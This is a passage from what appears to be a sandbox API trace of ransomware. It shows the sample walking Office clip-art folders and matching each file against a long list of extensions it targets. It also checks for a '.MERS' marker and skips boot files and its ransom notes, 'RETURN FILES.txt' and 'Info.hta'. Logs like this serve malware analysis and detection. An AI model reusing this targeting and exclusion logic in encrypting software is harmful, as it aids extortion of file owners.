Office\\CLIPART") returned 41 [0259.568] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\CLIPART") returned 1 [0259.568] lstrlenW (lpString="CLIPART") returned 7 [0259.568] lstrcmpiW (lpString1="C:\\Windows", lpString2="CLIPART") returned -1 [0259.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x45bc178 [0259.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART") returned 41 [0259.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f0c8 [0259.568] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.568] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0259.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned 50 [0259.568] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned 1 [0259.568] lstrlenW (lpString="PUB60COR") returned 8 [0259.568] lstrcmpiW (lpString1="C:\\Windows", lpString2="PUB60COR") returned -1 [0259.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x45cc180 [0259.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned 50 [0259.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63eec8 [0259.731] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.732] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0259.732] lstrlenW (lpString="AG00004_.GIF") returned 12 [0259.732] lstrlenW (lpString=".1cd") returned 4 [0259.732] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0259.732] lstrlenW (lpString=".3ds") returned 4 [0259.732] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0259.732] lstrlenW (lpString=".3fr") returned 4 [0259.732] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0259.732] lstrlenW (lpString=".3g2") returned 4 [0259.732] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0259.732] lstrlenW (lpString=".3gp") returned 4 [0259.732] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0259.732] lstrlenW (lpString=".7z") returned 3 [0259.732] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0259.732] lstrlenW (lpString=".accda") returned 6 [0259.732] lstrcmpiW (lpString1=".accda", lpString2="4_.GIF") returned -1 [0259.732] lstrlenW (lpString=".accdb") returned 6 [0259.732] lstrcmpiW (lpString1=".accdb", lpString2="4_.GIF") returned -1 [0259.732] lstrlenW (lpString=".accdc") returned 6 [0259.732] lstrcmpiW (lpString1=".accdc", lpString2="4_.GIF") returned -1 [0259.732] lstrlenW (lpString=".accde") returned 6 [0259.732] lstrcmpiW (lpString1=".accde", lpString2="4_.GIF") returned -1 [0259.732] lstrlenW (lpString=".accdt") returned 6 [0259.732] lstrcmpiW (lpString1=".accdt", lpString2="4_.GIF") returned -1 [0259.732] lstrlenW (lpString=".accdw") returned 6 [0259.732] lstrcmpiW (lpString1=".accdw", lpString2="4_.GIF") returned -1 [0259.732] lstrlenW (lpString=".adb") returned 4 [0259.732] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0259.732] lstrlenW (lpString=".adp") returned 4 [0259.732] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0259.732] lstrlenW (lpString=".ai") returned 3 [0259.732] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0259.732] lstrlenW (lpString=".ai3") returned 4 [0259.733] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".ai4") returned 4 [0259.733] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".ai5") returned 4 [0259.733] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".ai6") returned 4 [0259.733] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".ai7") returned 4 [0259.733] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".ai8") returned 4 [0259.733] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".anim") returned 5 [0259.733] lstrcmpiW (lpString1=".anim", lpString2="_.GIF") returned -1 [0259.733] lstrlenW (lpString=".arw") returned 4 [0259.733] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".as") returned 3 [0259.733] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0259.733] lstrlenW (lpString=".asa") returned 4 [0259.733] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".asc") returned 4 [0259.733] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".ascx") returned 5 [0259.733] lstrcmpiW (lpString1=".ascx", lpString2="_.GIF") returned -1 [0259.733] lstrlenW (lpString=".asm") returned 4 [0259.733] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".asmx") returned 5 [0259.733] lstrcmpiW (lpString1=".asmx", lpString2="_.GIF") returned -1 [0259.733] lstrlenW (lpString=".asp") returned 4 [0259.733] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0259.733] lstrlenW (lpString=".aspx") returned 5 [0259.733] lstrcmpiW (lpString1=".aspx", lpString2="_.GIF") returned -1 [0259.734] lstrlenW (lpString=".asr") returned 4 [0259.734] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".asx") returned 4 [0259.734] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".avi") returned 4 [0259.734] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".avs") returned 4 [0259.734] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".backup") returned 7 [0259.734] lstrcmpiW (lpString1=".backup", lpString2="04_.GIF") returned -1 [0259.734] lstrlenW (lpString=".bak") returned 4 [0259.734] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".bay") returned 4 [0259.734] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".bd") returned 3 [0259.734] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0259.734] lstrlenW (lpString=".bin") returned 4 [0259.734] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".bmp") returned 4 [0259.734] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".bz2") returned 4 [0259.734] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".c") returned 2 [0259.734] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0259.734] lstrlenW (lpString=".cdr") returned 4 [0259.734] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".cer") returned 4 [0259.734] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".cf") returned 3 [0259.734] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0259.734] lstrlenW (lpString=".cfc") returned 4 [0259.734] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".cfm") returned 4 [0259.734] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0259.734] lstrlenW (lpString=".cfml") returned 5 [0259.735] lstrcmpiW (lpString1=".cfml", lpString2="_.GIF") returned -1 [0259.735] lstrlenW (lpString=".cfu") returned 4 [0259.735] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".chm") returned 4 [0259.735] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".cin") returned 4 [0259.735] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".class") returned 6 [0259.735] lstrcmpiW (lpString1=".class", lpString2="4_.GIF") returned -1 [0259.735] lstrlenW (lpString=".clx") returned 4 [0259.735] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".config") returned 7 [0259.735] lstrcmpiW (lpString1=".config", lpString2="04_.GIF") returned -1 [0259.735] lstrlenW (lpString=".cpp") returned 4 [0259.735] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".cr2") returned 4 [0259.735] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".crt") returned 4 [0259.735] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".crw") returned 4 [0259.735] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".cs") returned 3 [0259.735] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0259.735] lstrlenW (lpString=".css") returned 4 [0259.735] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".csv") returned 4 [0259.735] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".cub") returned 4 [0259.735] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".dae") returned 4 [0259.735] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".dat") returned 4 [0259.735] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0259.735] lstrlenW (lpString=".db") returned 3 [0259.736] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0259.736] lstrlenW (lpString=".dbf") returned 4 [0259.736] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".dbx") returned 4 [0259.736] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".dc3") returned 4 [0259.736] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".dcm") returned 4 [0259.736] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".dcr") returned 4 [0259.736] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".der") returned 4 [0259.736] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".dib") returned 4 [0259.736] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".dic") returned 4 [0259.736] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".dif") returned 4 [0259.736] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".divx") returned 5 [0259.736] lstrcmpiW (lpString1=".divx", lpString2="_.GIF") returned -1 [0259.736] lstrlenW (lpString=".djvu") returned 5 [0259.736] lstrcmpiW (lpString1=".djvu", lpString2="_.GIF") returned -1 [0259.736] lstrlenW (lpString=".dng") returned 4 [0259.736] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".doc") returned 4 [0259.736] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".docm") returned 5 [0259.736] lstrcmpiW (lpString1=".docm", lpString2="_.GIF") returned -1 [0259.736] lstrlenW (lpString=".docx") returned 5 [0259.736] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0259.736] lstrlenW (lpString=".dot") returned 4 [0259.736] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0259.736] lstrlenW (lpString=".dotm") returned 5 [0259.736] lstrcmpiW (lpString1=".dotm", lpString2="_.GIF") returned -1 [0259.737] lstrlenW (lpString=".dotx") returned 5 [0259.737] lstrcmpiW (lpString1=".dotx", lpString2="_.GIF") returned -1 [0259.737] lstrlenW (lpString=".dpx") returned 4 [0259.737] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".dqy") returned 4 [0259.737] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".dsn") returned 4 [0259.737] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".dt") returned 3 [0259.737] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0259.737] lstrlenW (lpString=".dtd") returned 4 [0259.737] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".dwg") returned 4 [0259.737] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".dwt") returned 4 [0259.737] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".dx") returned 3 [0259.737] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0259.737] lstrlenW (lpString=".dxf") returned 4 [0259.737] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".edml") returned 5 [0259.737] lstrcmpiW (lpString1=".edml", lpString2="_.GIF") returned -1 [0259.737] lstrlenW (lpString=".efd") returned 4 [0259.737] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".elf") returned 4 [0259.737] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".emf") returned 4 [0259.737] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".emz") returned 4 [0259.737] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".epf") returned 4 [0259.737] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".eps") returned 4 [0259.737] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0259.737] lstrlenW (lpString=".epsf") returned 5 [0259.738] lstrcmpiW (lpString1=".epsf", lpString2="_.GIF") returned -1 [0259.738] lstrlenW (lpString=".epsp") returned 5 [0259.738] lstrcmpiW (lpString1=".epsp", lpString2="_.GIF") returned -1 [0259.738] lstrlenW (lpString=".erf") returned 4 [0259.738] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0259.738] lstrlenW (lpString=".exr") returned 4 [0259.738] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0259.738] lstrlenW (lpString=".f4v") returned 4 [0259.738] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0259.738] lstrlenW (lpString=".fido") returned 5 [0259.738] lstrcmpiW (lpString1=".fido", lpString2="_.GIF") returned -1 [0259.738] lstrlenW (lpString=".flm") returned 4 [0259.738] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0259.738] lstrlenW (lpString=".flv") returned 4 [0259.738] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0259.738] lstrlenW (lpString=".frm") returned 4 [0259.738] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0259.738] lstrlenW (lpString=".fxg") returned 4 [0259.738] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0259.738] lstrlenW (lpString=".geo") returned 4 [0259.738] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0259.738] lstrlenW (lpString=".gif") returned 4 [0259.738] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0259.738] lstrlenW (lpString="AG00004_.GIF") returned 12 [0259.738] lstrlenW (lpString=".MERS") returned 5 [0259.738] lstrcmpiW (lpString1=".MERS", lpString2="_.GIF") returned -1 [0259.738] lstrlenW (lpString="AG00004_.GIF") returned 12 [0259.738] lstrcmpiW (lpString1="boot.ini", lpString2="AG00004_.GIF") returned 1 [0259.738] lstrcmpiW (lpString1="bootfont.bin", lpString2="AG00004_.GIF") returned 1 [0259.738] lstrcmpiW (lpString1="ntldr", lpString2="AG00004_.GIF") returned 1 [0259.738] lstrcmpiW (lpString1="ntdetect.com", lpString2="AG00004_.GIF") returned 1 [0259.739] lstrcmpiW (lpString1="io.sys", lpString2="AG00004_.GIF") returned 1 [0259.739] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="AG00004_.GIF") returned 1 [0259.739] lstrcmpiW (lpString1="Info.hta", lpString2="AG00004_.GIF") returned 1 [0259.739] lstrcmpiW (lpString1="chrome64b.exe", lpString2="AG00004_.GIF") returned 1 [0259.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0259.739] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0259.739] lstrlenW (lpString="AG00011_.GIF") returned 12 [0259.739] lstrlenW (lpString=".1cd") returned 4 [0259.739] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0259.739] lstrlenW (lpString=".3ds") returned 4 [0259.739] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0259.739] lstrlenW (lpString=".3fr") returned 4 [0259.739] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0259.739] lstrlenW (lpString=".3g2") returned 4 [0259.739] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0259.739] lstrlenW (lpString=".3gp") returned 4 [0259.739] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0259.739] lstrlenW (lpString=".7z") returned 3 [0259.739] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0259.739] lstrlenW (lpString=".accda") returned 6 [0259.739] lstrcmpiW (lpString1=".accda", lpString2="1_.GIF") returned -1 [0259.739] lstrlenW (lpString=".accdb") returned 6 [0259.739] lstrcmpiW (lpString1=".accdb", lpString2="1_.GIF") returned -1 [0259.739] lstrlenW (lpString=".accdc") returned 6 [0259.739] lstrcmpiW (lpString1=".accdc", lpString2="1_.GIF") returned -1 [0259.739] lstrlenW (lpString=".accde") returned 6 [0259.739] lstrcmpiW (lpString1=".accde", lpString2="1_.GIF") returned -1 [0259.739] lstrlenW (lpString=".accdt") returned 6 [0259.739] lstrcmpiW (lpString1=".accdt", lpString2="1_.GIF") returned -1 [0259.739] lstrlenW (lpString=".accdw") returned 6 [0259.739] lstrcmpiW (lpString1=".accdw", lpString2="1_.GIF") returned -1 [0259.740] lstrlenW (lpString=".adb") returned 4 [0259.740] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".adp") returned 4 [0259.740] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".ai") returned 3 [0259.740] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0259.740] lstrlenW (lpString=".ai3") returned 4 [0259.740] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".ai4") returned 4 [0259.740] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".ai5") returned 4 [0259.740] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".ai6") returned 4 [0259.740] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".ai7") returned 4 [0259.740] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".ai8") returned 4 [0259.740] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".anim") returned 5 [0259.740] lstrcmpiW (lpString1=".anim", lpString2="_.GIF") returned -1 [0259.740] lstrlenW (lpString=".arw") returned 4 [0259.740] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".as") returned 3 [0259.740] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0259.740] lstrlenW (lpString=".asa") returned 4 [0259.740] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".asc") returned 4 [0259.740] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0259.740] lstrlenW (lpString=".ascx") returned 5 [0259.740] lstrcmpiW (lpString1=".ascx", lpString2="_.GIF") returned -1 [0259.741] lstrlenW (lpString=".asm") returned 4 [0259.741] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0259.741] lstrlenW (lpString=".asmx") returned 5 [0259.741] lstrcmpiW (lpString1=".asmx", lpString2="_.GIF") returned -1 [0259.741] lstrlenW (lpString=".asp") returned 4 [0259.741] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0259.741] lstrlenW (lpString=".aspx") returned 5 [0259.741] lstrcmpiW (lpString1=".aspx", lpString2="_.GIF") returned -1 [0259.741] lstrlenW (lpString=".asr") returned 4 [0259.741] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0259.741] lstrlenW (lpString=".asx") returned 4 [0259.741] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0259.741] lstrlenW (lpString=".avi") returned 4 [0259.741] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0259.741] lstrlenW (lpString=".avs") returned 4 [0259.741] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0259.741] lstrlenW (lpString=".backup") returned 7 [0259.741] lstrcmpiW (lpString1=".backup", lpString2="11_.GIF") returned -1 [0259.741] lstrlenW (lpString=".bak") returned 4 [0259.741] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0259.741] lstrlenW (lpString=".bay") returned 4 [0259.741] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0259.741] lstrlenW (lpString=".bd") returned 3 [0259.741] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0259.742] lstrlenW (lpString=".bin") returned 4 [0259.742] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".bmp") returned 4 [0259.742] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".bz2") returned 4 [0259.742] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".c") returned 2 [0259.742] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0259.742] lstrlenW (lpString=".cdr") returned 4 [0259.742] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".cer") returned 4 [0259.742] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".cf") returned 3 [0259.742] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0259.742] lstrlenW (lpString=".cfc") returned 4 [0259.742] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".cfm") returned 4 [0259.742] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".cfml") returned 5 [0259.742] lstrcmpiW (lpString1=".cfml", lpString2="_.GIF") returned -1 [0259.742] lstrlenW (lpString=".cfu") returned 4 [0259.742] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".chm") returned 4 [0259.742] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".cin") returned 4 [0259.742] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".class") returned 6 [0259.742] lstrcmpiW (lpString1=".class", lpString2="1_.GIF") returned -1 [0259.742] lstrlenW (lpString=".clx") returned 4 [0259.742] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".config") returned 7 [0259.742] lstrcmpiW (lpString1=".config", lpString2="11_.GIF") returned -1 [0259.742] lstrlenW (lpString=".cpp") returned 4 [0259.742] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0259.742] lstrlenW (lpString=".cr2") returned 4 [0259.743] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".crt") returned 4 [0259.743] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".crw") returned 4 [0259.743] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".cs") returned 3 [0259.743] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0259.743] lstrlenW (lpString=".css") returned 4 [0259.743] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".csv") returned 4 [0259.743] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".cub") returned 4 [0259.743] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0259.743] lstrlenW (lpString=".dae") returned 4 [0259.743] 